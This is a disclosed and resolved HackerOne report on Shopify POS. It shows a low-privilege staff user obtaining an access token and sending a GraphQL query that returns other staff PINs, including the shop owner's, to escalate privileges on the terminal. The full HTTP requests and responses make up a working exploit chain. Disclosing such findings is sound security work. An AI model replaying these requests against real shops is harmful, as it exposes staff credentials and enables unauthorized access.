[h1-2102] [Yaworski's Broskis] Low privilege user can read POS PINs via graphql and elevate his privilege
Medium
S
Shopify
Submitted None
Team Summary
Official summary from Shopify
Note: The situation with PIN access has changed since the time of this report. PINs no longer require Full Admin permissions in order to be read in Shopify Admin. PINs are primarily a client-side control for the actual POS terminal, meant to be a layer of protection for scenarios in which someone external to the shop approaches a terminal in a retail location. For this reason, we no longer accept reports about being able to read or bruteforce PINs as another staff member on the same shop.
Actions:
Reported by
ramsexy
Vulnerability Details
Technical details and impact analysis
## Summary:
A low privilege user (both in the shop and in the POS) can read POS PINs via graphql and elevate his privilege with a physical access to the POS.
## Steps To Reproduce:
1. Log in to your shop and install the POS app https://apps.shopify.com/shopify-pos
2. Log in Shopify Plus as an org owner and create a user with the minimal privilege requirements
{F1178771}
2. Go to the newly created user POS staff page (https://h1-2102-ramsexy.myshopify.com/admin/apps/pos/staff/61357948984) and check "Give Point of Sale access" and select Associate role.
{F1178781}
3. Go back to the user permission page in Shopify Plus, and remove all permission from the newly created user. Please notice the following message about POS.
{F1178787}
4. As the low priv user, request a POS `access_token` :
Request :
```http
POST /admin/api/xauth HTTP/1.1
Accept: application/json
Content-Type: application/json; charset=UTF-8
Content-Length: 137
Host: h1-2102-ramsexy.myshopify.com
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/4.0.0
{"api_key":"a53cf2ce9b5dabf5dd222b3615c29569","login":"[email protected]","password":"███"}
```
Response :
```json
{
"access_token": "█████",
"impersonated_by_employee": false,
"scope": "read_analytics,write_checkouts,write_customers,write_draft_orders,write_fulfillments,read_gdpr_data_request,write_gift_cards,write_inventory,write_marketing_events,write_orders,write_price_rules,write_product_listings,write_products,write_reports,write_resource_feedbacks,write_script_tags,write_shipping,read_shopify_payments_bank_accounts,read_shopify_payments_disputes,read_shopify_payments_payouts,read_all_orders,write_apps,write_channels,read_disputes,write_home,write_locations,write_notifications,write_payment_gateways,read_payment_settings,write_publications,read_shopify_payments,write_users,write_order_edits,write_point_of_sale_devices,write_retail_roles,write_merchant_managed_fulfillment_orders,write_third_party_fulfillment_orders,write_cash_tracking,write_physical_receipts,write_discounts,write_smart_grid,write_images,write_retail_bbpos_merchant,write_retail_addon_subscriptions,read_checkout_settings,write_stripe_terminal_readers,read_all_subscription_contracts,read_product_recommendations,write_retail_user_data,write_pos_channel.access,write_pos_compliance.access",
"associated_user_scope": "write_checkouts,write_product_listings,write_resource_feedbacks,read_shopify_payments_disputes,read_shopify_payments_payouts,write_point_of_sale_devices,write_cash_tracking,write_physical_receipts,write_retail_bbpos_merchant,write_stripe_terminal_readers,write_pos_channel.access,write_pos_compliance.access,read_locations,read_users,read_retail_roles,read_smart_grid,read_retail_addon_subscriptions,read_retail_user_data",
"session": null,
"account_number": null,
"associated_user": {
"id": 61357948984,
"first_name": "das",
"last_name": "das",
"email": "[email protected]",
"account_owner": false,
"locale": "en",
"collaborator": false,
"email_verified": true
}
```
* The `api_key` can be found in the page at https://h1-2102-ramsexy.myshopify.com/admin/apps/pos.
* The `login` and `password` are your low privilege user credentials
5. Using this `access_token` in the `X-Shopify-Access-Token` header, you can query the graphql endpoint to retrieve the POS staff information, including PINs:
Request:
```http
POST /admin/api/unversioned/graphql HTTP/1.1
Host: h1-2102-ramsexy.myshopify.com
Content-Type: application/json
Connection: close
X-Shopify-Override-User-Locale: en-US
X-Shopify-Access-Token: ███
Accept: application/json
User-Agent: Shopify POS/iOS/6.28.0 (iPhone8,4/com.jadedpixel.pos/14.2.0) - Build 855
Content-Length: 1002
Accept-Language: en-us
Accept-Encoding: gzip, deflate
{"query":"fragment RemoteStaffMember on StaffMember { __typename active email name firstName lastName phone pin id isShopOwner accountType permissions { __typename userPermissions } privateData { __typename updatedAt identityOwned identityUuid } retailData(location: $locationID) { __typename canInitializePos posAccess retailRole { __typename ... RemoteRetailRole } } } fragment RemoteRetailRole on RetailRole { __typename id name isDefault: default hidden updatedAt retailRolePermissions { __typename ... RemoteRetailRolePermission } } fragment RemoteRetailRolePermission on RetailRolePermission { __typename access retailPermissionTag } query StaffList($first: Int, $after: String, $query: String, $locationID: ID) { __typename shop { __typename staffMembers(first: $first, after: $after, query: $query) { __typename edges { __typename node { __typename ... RemoteStaffMember } cursor } pageInfo { __typename hasNextPage } } } }","variables":{"first":100,"query":"updated_at:>1970-01-01T00:00:00Z"}}
```
Response:
```json
[...]
"__typename": "StaffMember",
"active": true,
"email": "[email protected]",
"name": "Ram Sexy",
"firstName": "Ram",
"lastName": "Sexy",
"phone": null,
"pin": "3333",
"id": "gid:\/\/shopify\/StaffMember\/61340352568",
"isShopOwner": true
[...]
```
6. Using that information, the low privilege user can use the Manager PIN while using the POS device, which allow him to perform various actions he should not be able to do.
## Impact
A low privilege user (both in the shop and in the POS) who should only be able to log into the POS with limited privilege using his PIN can retrieve Manager PIN to elevate his privilege.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Information Disclosure